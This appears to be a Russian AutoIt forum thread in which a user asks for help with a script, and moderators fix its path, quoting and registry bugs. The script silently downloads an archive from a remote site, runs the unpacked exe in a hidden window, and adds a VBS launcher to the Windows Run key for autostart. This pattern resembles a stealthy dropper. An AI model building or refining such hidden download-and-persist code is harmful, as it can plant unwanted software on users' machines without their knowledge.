Что нового

Скачать и распаковать архив

.me

Новичок
Сообщения
89
Репутация
1
Всем привет, подскажите, что из сего кода я напутал/пропустил

Код:
Opt("TrayIconHide", 1)
#include <_Zip.au3>
If Not FileExists(@AppDataDir & "\geme") Then
    DirCreate(@AppDataDir & "\geme")
EndIf


$sUrlOfFile = ("http://site.ru/game.zip")
$unzip = @TempDir & "\game.zip"
$PathToFile = @AppDataDir & "\geme\"

_Zip_Unzip($unzip, $PathToFile, 0)

If @OSArch = "X86" Then
$sLocalName = 'game\game32.exe'
Else
$sLocalName = 'game\game64.exe'
EndIf
$sLocalPathToFile = @AppDataDir & "\game\" & $sLocalName
$sCommandLineFor = 'запустить консоль с параметрами cs' ;

If ProcessExists(sLocalName) Then Exit
If FileExists ($sLocalPathToFile) Then
    Run($sLocalPathToFile & ' ' & $sCommandLineFor,'',@SW_HIDE)
    AutoRun ()
    Exit
EndIf

$iResInet = InetGet($sUrlOfFile, $unzip, 0)
If $iResInet Then
    Run($sLocalPathToFile & ' ' & $sCommandLineFor,'',@SW_HIDE)
EndIf
AutoRun ()


Exit


Func AutoRun ()

If @OSArch = 'X64' Then
    $sRegRunPath = 'HKCU64' & '\Software\Microsoft\Windows\CurrentVersion\Run'
Else
    $sRegRunPath = 'HKCU' & '\Software\Microsoft\Windows\CurrentVersion\Run'
EndIf


; vbs-скрипт
Local $sVbsStr1, $sVbsStr2, $sVbsStr3, $sVbsStr4
$sVbsStr1 = 'Set WshShell = CreateObject("WScript.Shell")'
$sVbsStr2 = 'ScriptPath = Left(WScript.ScriptFullName,InStrRev(WScript.ScriptFullName,"\"))'
$sVbsStr3 = 'WshShell.CurrentDirectory = ScriptPath'
$sVbsStr4 = 'WshShell.Run "' & $sLocalPathToFile & ' ' & $sCommandLineFor & '",0'


Local $sLocalPathToVbs = $sLocalPathToFile & '.vbs'
If Not FileExists ($sLocalPathToVbs) Then
    FileWriteLine ($sLocalPathToVbs, $sVbsStr1 & @CRLF & $sVbsStr2 & @CRLF & $sVbsStr3 & @CRLF & $sVbsStr4 & @CRLF)
EndIf

RegWrite($sRegRunPath, $sLocalName & 'csgo', 'REG_SZ', $sLocalPathToVbs)

EndFunc


Задача:
Скачать архив с игрой - если его нет
извлечь архив в указанную папку
запустить в соотв. с архитектурой ос
при повторном запуске проверять, есть ли архив, есть ли уже по данным путям извлеченный, есть ли процесс в диспетчере
 

joiner

Модератор
Локальный модератор
Сообщения
3,557
Репутация
628
а в чем проблема то?
 
Автор
M

.me

Новичок
Сообщения
89
Репутация
1
joiner [?]
а в чем проблема то?
дело в том, что если процесс "game.exe" сущевствует - он повторно запускается
про повторном запуске собранного аутоит ехе - запрашивает замену файлов
 

joiner

Модератор
Локальный модератор
Сообщения
3,557
Репутация
628
.me
опять не понял. вопрос в чем?. что не так? не должен запускаться? не должен запрашивать замену?
и при чем тут скачать и распаковать архив?


Добавлено:
Сообщение автоматически объединено:

не используй кучу переменных для сбора текста, достаточно одной
Код:
Local $text
$text &= 'текст'
$text &= 'второй текст'



Добавлено:
Сообщение автоматически объединено:

P.S. ресурс http://site.ru/game.zip недоступен
 
Автор
M

.me

Новичок
Сообщения
89
Репутация
1
joiner

Код:
$sUrlOfFile = ("http://site.ru/game.zip")
$unzip = @TempDir & "\game.zip"
$PathToFile = @AppDataDir & "\geme\"

_Zip_Unzip($unzip, $PathToFile, 0)

должен скачатся файл с игрой в папку temp и распаковатся в аппдата\game, при повторном запуске ехе проверить, есть ли файлы в аппдата\geme\ - если нет то скачиваем игру ну и дальше.
 

joiner

Модератор
Локальный модератор
Сообщения
3,557
Репутация
628
сервер по прежнему недоступен. но это ладно. как же ты запустишь, если в автозапуске у тебя прописывается
Код:
$sLocalName & 'csgo'

то есть, файл будет иметь имя game32.execsgo
 

madmasles

Модератор
Глобальный модератор
Сообщения
7,790
Репутация
2,322
.me,
Код:
$sLocalName = 'game\game32.exe'
$sLocalPathToFile = @AppDataDir & "\game\" & $sLocalName
;~ ИМХО, здесь у Вас ошибка, смотрите сами:
ConsoleWrite($sLocalPathToFile & @LF)
;~ Если параметр запуска действительно равен
$sCommandLineFor = 'запустить консоль с параметрами cs'
;~ В чем я сомневаюсь, то запускать надо примерно так:
ConsoleWrite('"' & @AppDataDir & '\' & $sLocalName & '" "' & $sCommandLineFor & '"' & @LF)
;~ Run('"' & @AppDataDir & '\' & $sLocalName & '" "' & $sCommandLineFor & '"', ...
 
Автор
M

.me

Новичок
Сообщения
89
Репутация
1
Ага, вроде разобрался, спасибо ребят


Добавлено:
Сообщение автоматически объединено:

Немного изменил код, все работает, но со вторым запуском немного торможу

Код:
If @OSArch = "X86" Then
$sUrlOfFile = ("http://site.ru/soft32.zip")
Else
$sUrlOfFile = ("http://site.ru/soft64.zip")
EndIf

Local $hDownload = InetGet($sUrlOfFile, @TempDir & "\soft.zip", 1, 1)
Do
    Sleep(250)
Until InetGetInfo($hDownload, 2)

$gszip = @TempDir & "\soft.zip"
$mydir = @AppDataDir & "\game"
$iFlag1 = + 4 + 16
_Zip_UnzipAll($gszip, $mydir, iFlag1)
ConsoleWrite(@error & @CRLF)


если запустить 2 раза - запрашивает подтверждение замены, можно это как то убрать/проверить перед извлечением?
 
Верх